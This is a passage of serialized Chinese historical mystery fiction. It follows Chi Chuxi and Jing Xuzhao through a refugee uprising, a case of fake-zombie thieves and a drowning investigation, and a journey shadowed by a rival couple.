只听得池楚浠迷迷糊糊回答:“没有,这样很好,很暖和,让我死前睡个安稳觉吧。”
景序昭眉头一皱,悄悄摸出了三枚铜钱。
又掷出一个六爻卦象。
此卦有劫,命中注定,但冥冥之中,命运犹存,仍有时机明来。
他卜的是池楚浠的生死。
卦象显示池楚浠能活得好好的,区区一劫虽是命中注定,但也只是她人生的一个转折罢了。
景序昭更坚定了要做成这一桩事的决心。
这里的所有人都该有完完整整的下半辈子,而不是突然死于非命。
12. 公主手令
夜里,景序昭病情加重。
体温被药效强行控制,身体仿佛一个即将爆炸的容器,全身肌肤的不适令他如坐针毡。
池楚浠被身边的动静惊醒,下意识往他额头探去,有发烧,但体温没有高得离谱。
“阿兄,你感觉如何,还能忍耐吗?”
池楚浠坐起来,把被子给景序昭掖了掖。
“若你实在扛不住了,就放弃吧,我不会怪你,阿毛他们也不会怪你。”
景序昭忽然用力握住了池楚浠的手掌,他手腕有些发颤:“明日一早,叫阿毛他们过来,准备动手。”
景序昭知道自己等不起了。
丹水镇还有那么多大活人,没染病的人,他们需要一条生路,染了病没死的,他们需要一位大夫。
他浑身颤抖,强忍着不适。
池楚浠环抱住景序昭肩头,哽咽道:“阿兄,你不能死,你也要出去……”
少女在桥洞底下哭得悲切。
往夜都是别人在哭,今夜轮到池楚浠了。
桥洞里的哭声夜夜都没停过。
天还未亮,池楚浠就按景序昭的吩咐把阿毛他们叫来。
计划了这么多日,每个人心里都预演了几遍抢夺武器的过程,趁着北门的官兵还未睡够,他们就一拥而上。
有专门的人负责让难民们掀起暴动,就在同一时刻,杀所有官兵一个措手不及。
景序昭掩嘴咳了几声,跟每一队领头人都吩咐好了。
末了,他侧目看向池楚浠道:“你别跟着我,和其他小娘子一样,找地方躲好,逮到机会就逃出去,切记抓紧时机,否则他们一刀便会取了你性命。”
池楚浠郑重点头:“知道了,阿兄。”
“你们都要活着,我们一起出去。”
景序昭抬头看了看天:“天黑之前雨会停,走吧。”
阿毛领着人出发了。
池楚浠跟在其他小娘子身后走着。
她也抬头看了天,心想这雨真的会在天黑前停吗,听闻司天台的人能观察天象,定制历法,亦能预测未来的福祸凶吉,景序昭莫非也精通此法。
想了想,池楚浠又摇摇头,若万事万物皆能推算无误,那一个王朝应该永盛才对。
景序昭说的成事在人有待考究。
难民们早就被压迫到了极点,景序昭只是控制了他们集体爆发的时间段。
池楚浠躲在角落,听见了北门前震天的呐喊。
雨比昨日的大了些,正好,即便是现在放火也烧不起来。
难民们开始抢夺武器,有了武器的他们奋起反抗。
池楚浠的衣裳都被雨淋湿了,今日晨起格外的阴冷,即便是不下雨也还未到太阳出来的时辰。
季沐风拿着公主手令,在侍卫的庇护下冲了进来。
“快,寻池娘子,切勿砍伤她!”
侍卫们不认得池娘子,只能把抓来的女人拖到季沐风面前让他认。
“不是她!”
季沐风被雨淋透了,身边的刀光剑影让他头皮发麻。
读书人没见过这种场面,他也不曾想到自己赶过来能遇到这样的残暴景象。
“池楚浠!”
季沐风一遍一遍地喊。
躲在角落的少女仿佛听到了幻声,终于把脑袋探了出去。
景序昭处在混乱的人群里,他拦着侍卫把几位身体健康的难民送了出去。
杂乱的声音中,他也听见了那声池楚浠。
季沐风再次跟侍卫们交代:“千万别误杀了她,否则公主怪罪下来你们谁也担待不起。”
池楚浠还在发懵时手腕便被强势拽起,季沐风一把将她扯入安全的包围圈。
“快跟我走!”
“等等!”
池楚浠四处张望,急切地寻找着什么。
季沐风把人往外拖:“走!”
透过一张张扭曲的人脸,池楚浠终于瞥见了他要找的人。
“季郎,我阿兄还在里面!”
季沐风将她往外拽了一截:“你哪来的阿兄,快走,再不走就来不及了。”
“季郎,能不能让他们停手,别再杀人了,放过这些难民吧……”
季沐风把手令怼到池楚浠眼前,大声道:“看清楚了,你只有这一次活命的机会,救不了别人,此地的事不是你想的那么简单,楚浠,别任性。”
护着季沐风的侍卫们没耐心了,催促他赶紧把要找的人带走,否则刀剑无眼。
也不知池楚浠哪来那么大力气,硬是从季沐风手底下挣脱,不顾一切冲进了难民堆里。
“阿兄……阿兄。”
她往前跌去,景序昭一手将她拽住。
“出去吧,不是人人都有逆天改命的机会。”景序昭说完便掺着她的胳膊将她往外送去。
阿毛几人持刀护着景序昭。
池楚浠泪眼婆娑,她竟才知道人世间有此等离别,连哭都来不及哭。
“出去。”
景序昭推了一把。
池楚浠猛然拽住景序昭的腰带,将一块金子做的饰品塞给他。
身子往后猛地跌落,季沐风把人拉了回去。
池楚浠眼看着人群将景序昭淹没,场面再度混乱。
“阿兄!若你能活着出去,便把这金子做的同心锁当了,有了钱就一定可以把日子过好……”
池楚浠知道,自己的声音他没能听见,就连季沐风也没能听清。
季沐风一心顾着带走池楚浠,匆忙从战场撤离。
拿着公主府的手令就没人敢为难他,他带着池楚浠策马逃出丹水。
池楚浠一介弱女子,力气不如男人,季沐风能一手将她扔到马背上。
朦胧的雨雾中,血水与雨水混在一道。
“季郎,你哪来的公主手令,你为何知道我在此处……”
“公主手令是贵人帮我求来的,我来寻了你两次,自然知道你被困丹水。”
池楚浠脑袋有些昏沉。
她是逃离了,可那些难民呢,阿兄呢?
她被季沐风束缚着,一直奔向沙洲的方向。
还未踏上满是泥泞的远洲路就有马车来接她了,是季沐风安排的。
她感到疲惫不堪,甚至没有力气说话,只靠在马车里缓缓闭上眼睛。
迷糊中,她听见季沐风说:“池主簿曾对我有恩,他下葬时我在他坟前说过要护你一世周全,楚浠,你随我去长安吧。”
池楚浠陷入了沉睡,眼皮沉重得怎么都抬不起来。
刀光
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血影在脑海里挥之不去。
……
夜里寅正时分,池楚浠睡得很不安稳,一双手掌紧紧攥住床单,呼吸有些困难。
景序昭睡眠浅,早已被她的动静惊醒,他起身,点亮了烛火。
池楚浠眉头皱得很深,面色苍白,呼吸不顺。
景序昭伸手在她脸颊轻拍:“醒醒,池楚浠。”
喊了几次,池楚浠猛然从梦里回神,一睁开眼便看见了景序昭。
一时间有些恍惚,现实和梦境好像混淆了。
她小声道:“做噩梦了,梦见你们都被官兵砍杀……”
景序昭看似轻松地笑了声:“两年过去了,还做噩梦呢,在长安的太平日子还没能抚平你的创伤么。”
池楚浠道:“故地重游,难免会记起,抱歉,阿兄,吵醒你了。”
“无碍,天快亮了。”景序昭道。
兄妹出门在外赶路不便,住宿处紧缺时歇在一处也是常事,不过就是和衣而眠,找个地方躺一躺罢了,在偏僻的邸舍这些事无人过问,更无人在意。
此时,池楚浠看着坐在自己床边的景序昭忽然怔了怔,她与景序昭不是真兄妹。
不过这又如何呢,她既不是大家闺秀,也身无婚约,她想怎么样便怎么样。
大晟朝向来民风开放,女子亦可做女官,她与景序昭走得近又关旁人何事。
若说季沐风是她的恩人,那景序昭便是她的盟友。
对待盟友,自当亲近坦诚,就像当年在丹水彼此依靠一样。
池楚浠揉了揉太阳穴,缓缓道:“阿兄的师父如今在何处啊?”
景序昭道:“云游去了,当年把我送回司空府就走了,期间回来看过我一次,我已写信告诉他我来了苍山,兴许他会过来看看。”
池楚浠嗯了一声:“天一亮就回公廨吧。”
池楚浠下床,简单收拾行李。
当年她从丹水逃出去后去了长安,却在长安偶遇了景序昭,彼时他已恢复了景家嫡系子孙的身份,她从景序昭口中得知了丹水流民暴动的后续。
官兵杀了许多人,但难民们也逃了不少。
疫病并不难治,并未造成大范围传播。
朝廷便换掉了西庄县令与沙洲长史,算是给老百姓一个交代。
一早,几人便押着窃贼回公廨。
刚到公廨,就看见一位小娘子在堂下呈报案情。
县令道:“容九娘,你继续说啊,本官听着呢。”
容九娘抬手指向两个窃贼:“我说的便是他们二人,宝田负责偷盗,宝山负责望风,近一个多月来,丢的那些东西全是他二人偷的,请县令把他们下狱。”
余县尉嘿嘿一笑:“还真是让景县丞给抓准了,一个没跑。”
小花和铁耀扣着两人,让他们跪在堂下。
宝田看了容九娘一眼,赶紧辩解道:“这位小娘子胡说呢,我就只偷了一支簪子,其他的东西可不准赖我们身上。”
铁耀都给气笑了,对县令道:“可不止那一支簪子,我们都打听过了,宝田宝山二人在丹水市场出售了许多东西,失窃名录上的能对上一大半,剩下的肯定藏起来了,或者卖到了别处。”
县令:“容九娘,你既然知道为何现在才来报官?”
13. 另有蹊跷
容九娘容色娇艳,我见犹怜。
她当着所有人的面轻轻啜泣:“有一天夜里,宝田偷到我家,自那以后,他每次行窃都会抽空来找我,我一介弱女子打不过他们,不敢前来报官。”
容九娘看向景序昭,继续哭道:“我得知景县丞去了丹水彻查此事,想来是有人能为我做主了,这才来报官。”
宝田指着容九娘怒道:“你胡说八道!”
容九娘抹着眼泪:“我有没有胡说县令一查便知。”
池楚浠附在景序昭耳边说了几句话。
景序昭便道:“县令,派不良人沿苍山到丹水一道找些东西,若是第一遍找不到,那便对宝田宝山用刑。”
县令疑惑:“要找何物呀景县丞。”
景序昭:“尸体和还未销赃的赃物。”
此话一出,宝田和宝山都紧张起来,两人低着头互相看了一眼。
“用、用什么刑,我们、没……没偷那么多东西,就一支簪子,赔了便是。”
余县尉揣着手道:“用刑嘛,手段可多了,鞭刑,杖刑,先打二十板子再说。”
铁耀没耐心,在旁边狠狠瞪了宝田、宝山一眼:“在丹水早就问出来了,这会儿死不承认做什么,早早交代,免得受刑。”
景序昭看向池楚浠道:“你来说吧。”
池楚浠看向县令,见县令点了头她便道:“宝田、宝山,你二人可是在行窃途中打死了罗家郎君,偷窃一罪是小,杀人一罪是大。”
“杀人?”两人均露出惊疑的神情,纷纷摆手摇头:“我们没有杀人,冤枉啊!”
温县令趁机道:“偷东西还是杀人自己交代,杀人的话你们就给罗家郎君偿命。”
杀人两个字让两人按捺不住,宝山主动道:“真没杀人,我们就是偷点东西!”
温迟给余县尉眼神示意,余县尉点头表示明白,去审宝田宝山二人的偷盗事迹了。
余县尉气势凶狠,一个眼神就能吓得宝山抖三抖。
池楚浠从堂上退了出去。
刚出公廨,季沐风便跟了过来。
“楚浠,你与那景序昭在丹水邸舍同床而眠?”
季沐风追上来便质问。
池楚浠脸色微冷,快步往家走去:“你跟谁打探的消息,小花还是铁耀?”
“跟谁打听的有什么要紧,你只需回答我便是,你此番是要离开我跟了你那位阿兄是吗?”
“是。”
季沐风跟到了家中,脸气得通红,怒气冲冲地拂袖道:“你当真要跟了他,再也不随我回长安?”
池楚浠终于站定,抬眼看向季沐风:“季郎,我阿耶于你有恩,而你也救了我一命,从此我们两家恩怨相抵,再不相欠。”
池楚浠眼底忽地一沉,问道:“两年前你来丹水营救我时拿的公主手令,可是白娘子替你求来的?”
季沐风道:“正是,若没有她,你早已死在难民堆里,你不应还与她这般斤斤计较,以后你们是一家人。”
池楚浠垂下了眼眸,原来那公主手令真是白娘子求来的。
可白娘子与阿耶的死……
池楚浠心上像压了块石头。
季沐风扣住池楚浠的手腕,冷声道:“你这算是攀附上了景家?景司空在朝中的地位让人望尘莫及,你离开我跟了景序昭倒也是人之常情。”
池楚浠拂开他的手道:“季郎,我若要跟我阿兄走早就走了,何必等到现在,你还在守选期间,早日回长安吧,我祝你和白娘子琴瑟和鸣,白头偕老。”
“池楚浠,你别后悔,景序昭是绝对不会娶你做正妻的,以你的身份连踏进景家的门都难。”
池楚浠唇角弯了弯:“季郎想多了,请回吧。”
季沐风从未被一个人气成这样,心里堵得慌,明明大婚在即,池楚浠却偏要退婚,理由竟是争风吃醋,这放在整个大晟朝都会令人耻笑。
“我着实没想到你如此小肚鸡肠,如此不识抬举。”
池楚浠不再去看他,在家里捡了些东西添进包袱里,包括那封皱巴巴的连字迹都模糊的书信。
小花跑到家里来寻人。
“池娘子,你说的尸体找到了,宝田宝山都交代了,劳烦你随我去公廨看看。”
池楚浠把重新收拾好的包袱放好,随小花又去了公廨。
尸体已经摆在公廨院中,所有人都离得远远的。
池楚浠一来就闻到了那股尸臭味,和宝田宝山身上的味道一模一样。
县令道:“宝田宝山二人说尸体是捡来的,池娘子你给看看,可是被谋杀的?”
宝田宝山委屈地跪在地上,他们已经被余县尉审怕了。
余县尉主动烧起了苍术和皂角,祛味儿。
池楚浠上前查看尸体,这是一具干瘦年老的男尸,瘦得像一副骨架。
余县尉道:“他二人就是拿这种尸体装僵尸恐吓百姓,大家吓得都不敢出来,他们偷盗时就更大胆了,哪怕半夜家里闹出点响动主人家也不敢起夜查看。”
池楚浠:“有不少人亲眼见过僵尸蹦跳,你们是如何让尸体蹦跳的?”
宝田道:“小娘子你听过赶尸术吗?”
池楚浠:“你们会赶尸术?”
宝田:“不是什么神奇的术法,只不过是利用一种蛊放入尸体的关节处,控制他们活动,蹦跳几下不难,我们兄弟二人也是跟别人学的。”
宝山:“对,我们是跟丹水镇一个老爷子学的,这尸体不是我们杀的,他早就死了。”
池楚浠对尸体先干检了一遍。
“此人死亡半月有余。”
“什么,半月!”余县尉一脸震惊,“死了半月还没烂掉?池娘子,你不是在胡说吧。”
池楚浠继续干检,示意旁边的人记录。
“无明显致命外伤。”
池楚浠看向余县尉,道:“此为白僵尸,经久不烂的尸体分为红、黑、白三种,白僵尸白中带黄。”
温迟站得远远地看:“还真是僵尸啊。”
池楚浠:“余县尉,劳烦叫人在地上铺一层热炭灰,与尸体差不多长宽。”
“再拿一层薄布,铺在热炭灰上。”
余县尉安排杂役把这些事做好。
池楚浠在布上洒了些水,令其微微湿润。
“劳烦把尸体抬上去。”
杂役们把尸体抬到布上,再用布盖住尸体。
“再铺热炭灰。”
池楚浠在最上面的布上洒水:“等一个时辰白僵尸必然变软。”
院中有不良人守着尸体,防止有人捣鬼。
池楚浠让人把罗家郎君的尸身抬了过来,叫宝田宝山二人上前辨认。
两人在余县尉那里交代曾打过罗郎君。
池楚浠指着尸体身上的几处内伤伤痕问:“可是殴打过这些地方?”
宝田痛苦地点头:“我当时没下狠手
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,我还怕被人看出来,都没敢打破他的皮肉。”
“这个死醉鬼喝了酒,对蓉九娘子动手动脚,那我哪能忍啊,我早与蓉九娘私定终身,等捞够了钱就回来三媒六聘娶她,这醉鬼想截胡那怎么行。”
说着,宝田对着罗郎君的尸体啐了一口:“不要脸的东西,不过小娘子,我可真没打死他,我俩走后他还好好地往家去,哪能就死了。”
宝山:“是啊,我亲眼看见他好端端地回去,怎么可能是我们打死的,小娘子你可不要造假的罪证啊。”
池楚浠道:“我不会做假证,既然没打死人那便等县令明查。”
“你俩当时在何处殴打他,他又往哪个方向回的?”
宝田:“这……”
池楚浠:“县令,劳烦带他们去指认一下现场,我想看看罗郎君到底是怎么死的。”
从酒肆出来,旁边有一条小路可以让罗郎君抄近路回家。
宝田就指着小道路口说:“我就是在这里打的他,打完他就往那边回了。”
池楚浠朝宝田指的方向看去。
景序昭道:“那里有条河。”
池楚浠当然知道,她还去那条河里钓过鱼,不过还没开始就结束了。
来到河边,岸边有一位垂钓老人。
池楚浠上前道:“老丈,今日钓着几条?”
老丈回头看来,一眼就认出了池楚浠,指着鱼篓哈哈一笑:“今日收获颇丰,你家里还揭得开锅吗,再送你两条。”
老丈说着就要去鱼篓里捞鱼。
“不用了老丈,跟您打听个事,您认识罗家那位大郎吗,罗文戴。”
老丈看了身后的一群人,很淡定地道:“乡里乡亲的怎么不认识,他淹死在水里还是我去叫人把他捞出来的。”
老丈指了个位置:“就是在那,就死在那,我来垂钓时发现的。”
小花问:“你可有亲眼看见他落水?”
老丈不乐意了,瞪了他一眼:“我亲眼看见了自然要救人,可我看见他时他都已经死透了。”
池楚浠对景序昭道:“若是被打死后抛入水中,入水深者腹部会膨胀,入水浅者则膨胀不明显,这里水浅,罗郎君腹部鼓胀,应当是在水更深的位置掉落。”
景序昭沿着岸边找去,在一根带刺的树枝上捡到了一块布料。
他把布料给池楚浠看:“应是这里了,正是对应的深水位。”
宝田看了布料就立即指认:“没错,他那天就是穿这样的料子。”
宝田恨不得立刻给自己洗清嫌疑。
景序昭站在此处抬头往岸边的高处看去,那是一处高地,位置很显眼。
“那天傍晚罗郎君从此处经过时,从酒肆那条街出来的人应该都能瞧见,张贴榜文,寻找目击者。”
一个时辰过去,池楚浠回到公廨,揭开了覆盖在白僵尸身上的布和炭灰。
“皮肉已经变软,余县尉,用热醋洗尸。”
“捣烂葱、椒、盐、白梅和酒糟给我。”
余县尉领着杂役忙前忙后。
池楚浠亲自将捣烂的东西做成了糟饼,将其放在火上烘烤。
她在尸体上铺了一层薄纸,将烤热的糟饼敷在尸体上。
有大大小小的伤痕从尸体上显现。
池楚浠道:“都是些不致命的皮外伤,这具尸体没有其他致命伤,初检来看更像是久病而死,这样的尸体更容易形成白僵尸。”
14. 穿越之女
温迟:“余县尉,你去丹水查尸体的具体来处,看看有没有家人,叫来领回去。”
跪在堂下的宝田道:“丹水县最近到处都是这种死在路边的病尸,哪里找得家人,说不定家人也都死了。”
余县尉不太情愿去丹水镇,毕竟丹水已经不属于苍山县了。
他看向池楚浠道:“你们去时可见有疫病,传染吗?”
其实公廨里的所有人都担心这个,不敢去丹水查案这是一个很大的顾虑,毕竟几年前曾闹过疫病,大家都忌讳。
池楚浠道:“并未发现有明显的疫病,大多都是一些饿死或冻死之人。”
余县尉有些为难地看向县令,很想开口说不去。
景序昭道:“余县尉,我和池娘子已经去过丹水,若真有疫病,那我们说不定已经染上了,你们又与我们距离如此之近,应该也中招了。”
余县尉:“……”
温迟:“顺道把宝田宝山二人藏匿的财物带回来,还给失主。”
池楚浠来到宝田面前道:“给我看看你们用于赶尸的蛊虫。”
宝田抬头看向几位官爷。
景序昭道:“拿来给她看。”
宝田从怀里摸出一个小竹筒,只有一根手指粗细。
他打开竹筒的塞子,把里面的虫子倒在掌心递给池楚浠看,“这就是赶尸蛊,只要钻进尸体的关节处就能行路,赶尸人都是用这个把尸体运回家乡的。”
池楚浠盯着宝田掌心的赶尸蛊,这是一种黄白色的小虫子,和阿耶头颅里取出的那只完全不同。
池楚浠也拿了个竹筒来,将里面的小虫给宝田看,问道:“你可认得这个,是蛊么?”
宝田看了一会儿,不是很确定地道:“有点像,但我没见过这种蛊,不知有何用处。”
“池娘子,我们的赶尸术也是跟别人学的,自己根本不懂养蛊之道,赶尸术也只学了点皮毛,做不了什么。”
池楚浠把虫子收了回来。
景序昭:“一个月前你们就在用僵尸吓唬人,那之前的尸体呢?”
宝山:“尸体再怎么风干变硬也会臭、会烂,旧尸体烂了就扔了呗,就扔在乱葬岗。”
宝田:“县令,我能不能见蓉娘子一面?”
温迟:“人家小娘子不愿见你,你吓得人家都不敢来报官,调戏良家妇女按律惩处。”
宝田哭诉:“冤枉啊县令,我从未对蓉九娘做过什么,每次见她我都说要攒钱娶她,不信你问她,她怎么就那么狠心要把我告进官府……”
温迟:“闭嘴,仍旧按律惩处。”
张榜找目击者的消息已经传开了。
苇村,吃过晚饭后,董家老妇跟自己病恹恹的儿子说起:“二郎啊,听公廨的人说僵尸已经抓到了,不是真僵尸,是有人故意拿假的来吓人。”
“二郎,那你见到的僵尸到底是什么东西?”
老妇疑惑起来。
儿子又没说谎,那天晚上之前脑子也没傻,可明明没僵尸,他又从哪里看到的僵尸。
董二郎人都瘦了一大圈,面上都没血色了,他一边吃面一边道:“没有僵尸,怎么可能,那天晚上他就那样一蹦一跳的,不是僵尸还能是什么,难不成是哪个混账发癫故意扮僵尸。”
老妇又想起一桩事,道:“我去街上还听公廨的人说贴了榜文,要找什么目击证人,说是在酒肆对面的那个河岸上,问可有人看见罗家郎君。”
董二郎浑身一颤:“阿娘,你说哪儿?”
“什么哪儿?”
“那个地方。”
“酒肆对面的河岸上,说罗家郎君是从那里摔下去淹死的,问咱们有没有人看见。”
董二郎一口面塞在嘴里顿住了,罗家郎君,罗文戴,他认识啊。
仔细一回忆那晚的人影,好像真能跟他对上号。以前觉得是真僵尸,从未往这方面想过,加之自己又吓傻了,根本不会思考。
哪有正常人好好的学僵尸跳……
一想到是人在跳而不是僵尸在跳,董二郎整个人都鲜活了几分,原来他看到的不是僵尸,而是发了神经的罗文戴。
景序昭送池楚浠回来,路上说起季沐风。
“他还没走,赖在苍山难道还想将你迎回,他舍得休了那白娘子吗?”景序昭的语气阴阳怪气的。
池楚浠推开家门,道:“阿耶之死有蹊跷这事我并未跟他说起,这极有可能牵扯白蓉绒,我是断然不会跟他回去的。”
不知不觉,景序昭跟着进了屋。
“为何说牵扯她,她跟池主簿之事有何关联?”
景序昭下意识地就把院门锁上,随池楚浠往里屋走去。
池楚浠道:“阿兄,若我说有个梦在为我指引,你信么?”
她转过身来看着景序昭。
景序昭愣了一瞬,看着她的眼睛毫不犹疑地道:“信,你说什么我都信。”
池楚浠笑了:“你这样说我就知道你不信,也罢,我自己知道就好,旁人无需相信。”
景序昭在此刻陷入了沉思,一个梦的指引?是何意。
难怪一夜之间狠心退婚,原来另有蹊跷。
景序昭还在沉思,池楚浠便回过神来指着门口问:“阿兄,天色已晚,还不回去?”
景序昭从池家出来时天已经黑了,今夜没有月光,不过不用再担心有僵尸出没。
小花提着灯笼寻来。
“景县丞,我想说个情。”小花有些扭扭捏捏的,很不好意思。
“为黑臀?他勾结盗贼,私拿钱财,欺上瞒下,县令会处置的。”景序昭道。
小花说得有些急:“黑臀他也是不得已,当年朱霞他老娘病重,是黑臀到处凑钱为他娘治病,如今他家遇上困难了,需要一大笔钱,若不是被逼无奈,他不会这样做的。”
小花提着灯笼尽量把景序昭的前路照得清晰。
“景县丞,您看能不能让县令网开一面,我和朱霞凑钱给他把私拿的钱财都还清。”
景序昭道:“无需太担心,还清财物县令会轻判的,毕竟他又没杀人。”
一大早,公廨那边就传来消息,说是寻到证人了。
董二郎特地一早就来到公廨,说了那晚在酒肆对岸看到的情景。
宝田宝山二人激动得给董二郎磕头,终于有人能证明他们没杀人。
罗家夫妇在堂下又哭起来。
县令道:“现已真相大白,可还有异议?”
罗家妇人道:“两个窃贼殴打了我儿,虽未致死但也不可轻判,说不定就是因为他们打了我儿他才突然晕死掉进河里的。”
县令:“酒肆已证明,罗郎君买酒喝,当场就喝晕乎了,兴致一上来便学着传闻里的僵尸在河岸跳了几步,或许是因心疾突然发作就落入水中。”
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罗家妇人痛哭,她还记得大夫嘱咐过儿子不让他酗酒,说是饮酒过量容易诱发心疾。
看来儿子是觉得心急多年未发作,早就将此事抛之脑后了。
景序昭特地上门来告诉池楚浠这桩案子的后续。
“苍山县闹僵尸,罗郎君喝醉了就想起这桩事来,兴致高昂地跳了几下,差点吓死了隔壁村的董二郎。”
池楚浠道:“罗郎君的心疾已多年未发作,少不得跟被殴打和酗酒有关。”
景序昭道:“我已私下跟县令说了,要秘密查一桩案子,他没有异议,你准备何时出发?”
池楚浠看了看收拾好的包袱道:“即刻就走。”
“多谢阿兄没有将此事跟县令全盘托出。”
景序昭跟上池楚浠道:“你既然想暗中查探,那自然不能与公廨的人说,谁知道他们与杀害池主簿的凶手是不是一伙的。”
景序昭的顾虑池楚浠非常认可。
“只是要麻烦阿兄跑这一趟。”
“此案涉及公廨主簿,若是牵连太广,日后我会上报刑部,这是我分内之事。”
一只飞鸽在上空盘旋,然后朝景序昭飞来。
景序昭抬手接住鸽子,取下它脚腕上的信筒。
池楚浠疑惑地看过去。
他一眼扫过信纸上的文字,将飞鸽放了。
“工部尚书之女白蓉绒已到苍山。”
景序昭是看着池楚浠说的:“来苍山之前她已正式嫁入季家,如今是季沐风的妻。”
池楚浠道:“她为何要来苍山?”
景序昭将纸条收好,道:“来取一批浮光锦和月华锦,讨公主欢心。”
说完,景序昭有些心虚地垂了垂眼眸,事实并不是如此,取浮光锦只是为了掩人耳目。
池楚浠还未走出大街,一批人马便追了上来。
一个女子的声音在身后响起:“池娘子等等。”
白蓉绒骑马来到池楚浠面前,她一身利落的装束显得青春洋溢。
“听闻池娘子要去沙洲那边,不如一起也好有个照应。”她指了指身后的队伍,“我们人多,路上方便。”
季沐风这时也骑马跟了上来,夫妇俩一起拦在池楚浠跟前。
池楚浠略微抬头看着马背上的二人,淡然道:“二位新婚我还未送上祝福,愿二位红梅多结子,绿竹又生孙。”
白蓉绒笑起来毫不顾忌,颇有男人般的豪放,她道:“别祝我这个,我可不想生那么多孩子,等你日后嫁过来你来生,生多少都行,我没意见。”
白蓉绒语出惊人,说话风格果然和其他女子都不一样。
池楚浠想起那个梦境的昭示,白蓉绒不是这个世界的人,自然说话做事自成一派。
白蓉绒若是真喜欢季沐风,可为何不愿跟他生孩子,以白蓉绒那不同寻常的思维来看,她或许另有目的。
池楚浠记得,书中的白蓉绒一心想扶持公主登基,为的是将来成为大晟朝的女相。
如此远大的报复,想必不会把一个男人放在心上。
白蓉绒说出那番话时,季沐风皱着眉头看了她一眼,不甚理解,但又觉得符合她的作风。
季沐风道:“楚浠,一起走吧,我们有多的马匹。”
景序昭从远处牵着两匹马儿过来:“不必了,我们也有马。”
池楚浠径直走向景序昭,从他手里接过缰绳。
15. 夜半破门
一起出发,大家行进的速度也都差不多。
前方就是那座早已废掉的邸舍,只能看见草丛里的一些残骸,旁边就是废弃的官驿。
池楚浠于人群中看向白蓉绒,见她也朝邸舍那边看去,一副若有所思的样子。
池楚浠猜测,这邸舍想必也是白蓉绒亲手烧掉的,把当年那桩案子的所有痕迹都毁得一干二净。
景序昭骑马往池楚浠身边靠了靠,低声道:“别看了,走吧。”
在丹水镇的边缘,池楚浠又闻到了一股尸臭味。
两个男人抬着一具草席裹的尸体扔进了乱葬坑,尸体被扔下后,草席散开,池楚浠靠过去看了看,又是白僵尸,和宝田宝山二人捡的尸体一样,都是皮包骨头,没什么腐烂的迹象,粗略一看还不知道死了多久。
“请问两位郎君,这人是病死的吗?”池楚浠问。
“病了大半年,终于拖死了,没家人,死了就往乱葬坑一扔就完事。”
池楚浠又问:“有很多这样的病人?”
“当然多了,都是些北上的难民,又病又吃不饱,可不就拖死了,瘦得跟个鬼似的。”
两人说完也不愿再搭理池楚浠,扭头就走了。
景序昭道:“绒宁今年又多灾,难民们只有北上,朝廷的赈灾粮只能解燃眉之急,一旦中途出现纰漏那就会大片大片地死人。”
池楚浠道:“这和当年的景象有何区别,希望莫要重蹈覆辙。”
景序昭凝神沉思。
有三个小孩儿手拉着手从池楚浠他们面前跑过。
小男孩儿道:“阿翁发糖啦!”
三个小孩儿兴冲冲地朝一个方向跑。
看他们的穿着打扮,定是难民,身上瘦得都扒不出二两肉。
景序昭望着前方道:“居然还有糖吃?”
白蓉绒也望向前方道:“是哪位阿翁这么心善,季郎,我们去看看。”
白蓉绒是带了侍卫的,有十来人,这会儿都挤在不太宽敞的街道上显得有些压迫感。
十字路口处,一位上了年纪的阿翁手里举着糖人,慈眉善目地冲孩子们笑:“排好队,一个一个来。”
一行人就这么站在十字路口前看着老阿翁发糖人。
阿翁瞥见了这一行骑着高头大马的外地人,他看了一眼便招呼孩子们靠边儿站。
白蓉绒和季沐风领头从他们旁边走过。
在经过阿翁身边时,池楚浠闻到了尸体的味道,是那种常年跟尸体打交道,日积月累沾染的味道。
池楚浠把目光定在阿翁身上,身旁有孩子在舔糖人,舔化的糖人飘出一股淡淡的甜香,让人忽略了那股抹不去的臭味。
阿翁也注意到了池楚浠,他忽地问:“几位贵客是从哪里来的?”
景序昭道:“长安。”
“长安……”阿翁默默地重复了一遍。
池楚浠扫了所有人一眼,的确都是从长安来的,这样说好像也没错。
往前走了几步后,景序昭道:“御史大夫应该弹劾一半以上的京官,三法司应将所有尸位素餐的官员押进大牢。”
阿翁愣愣地望着他们离去的方向,口中呢喃着:“长安来的大官。”
丹水镇不大,还没走多远就遇到了苍山公廨的不良人,他们是来查白僵尸来源的。
余县尉笑呵呵地冲景序昭挥了挥手:“景县丞,好巧,你们这么多人是来做什么的,县令另有吩咐?”
景序昭点点头:“是,查另一桩案子。”
余县尉嘟囔:“最近案子可真多。”
“那些白僵尸基本都是丹水镇的灾民,死了就往那乱葬坑一抛,风一吹就像块风干的肉一样。”
“也没什么好查的,今日天色已晚,我们就不赶夜路了,明日再回,景县丞要跟我们一起住这邸舍吗?”
景序昭嗯了一声。
另外一边,白蓉绒他们已经把房间定下了。
邸舍本来就小,房间不多,景序昭定下了最后一间房。
众人都在一楼吃面,余县尉跟景序昭有说有笑,聊得还算畅快。
季沐风往隔壁桌瞥了一眼,思绪颇有些繁杂。
白蓉绒不经意地笑了声,道:“季郎是不是后悔了,那位景县丞可是景家嫡系,他有个亲兄长,在外领军为国效力,池娘子跟了景序昭你恐怕很难劝她回头。”
季沐风赶紧握住白蓉绒的手,眉眼带笑地道:“我有你一人足矣,只是我答应了她父亲要照顾她,如今却是要失信了。”
白蓉绒笑而不语。
许久后,白蓉绒道:“季郎,我早就与你说过,我喜欢一生一世一双人,若不是想着你对池家有承诺在先,我也不会同意你娶她进门,季郎家注重子孙兴旺,可我又不想生那么多孩子,由池娘子来生我倒是也乐意,总比你将来再娶其他女子强。”
“季郎,我不是不争,我要的是你这个颗真心,而不是虚无的名分。”
季沐风握住白蓉绒的手,柔声道:“我自是一心一意对娘子。”
两队人一前一后上楼,住宿的房间都在二楼。
季沐风抬头就看见池楚浠与景序昭朝同一间房走去,哪怕当着这么多人的面也毫不避讳。
池楚浠刚回到房间,景序昭便站在门口道:“今日的房间都被占满了,仅剩的这一间太小,我去与余县尉挤一挤。”
池楚浠回过头道:“我也是这样想的,阿兄去吧。”
两人都笑了笑。
景序昭从季沐风身旁经过,在他耳边道:“季兄不会真以为楚浠跟了我吧,她虽与我不分彼此,但也只是尊称我为阿兄。”
景序昭勾起唇角道:“不过……我是绝不相让的,季兄有胆的话尽管试试。”
说完,景序昭推开了余县尉的房门。
季沐风黑着脸进屋,面对景序昭的当面挑衅,他却不敢回怼,景家他还惹不起。
两年前从丹水救走池楚浠时是听她说起过有个阿兄,当时在混乱的杀戮中没看清人。
难道就是景序昭?
他景序昭能看上池楚浠,那二人定是早就有了来往,池楚浠瞒得他好苦,在长安两年他都不知两人之间的苟且之事。
夜里不方便赶路,但这会儿外头却还是有些微光的。
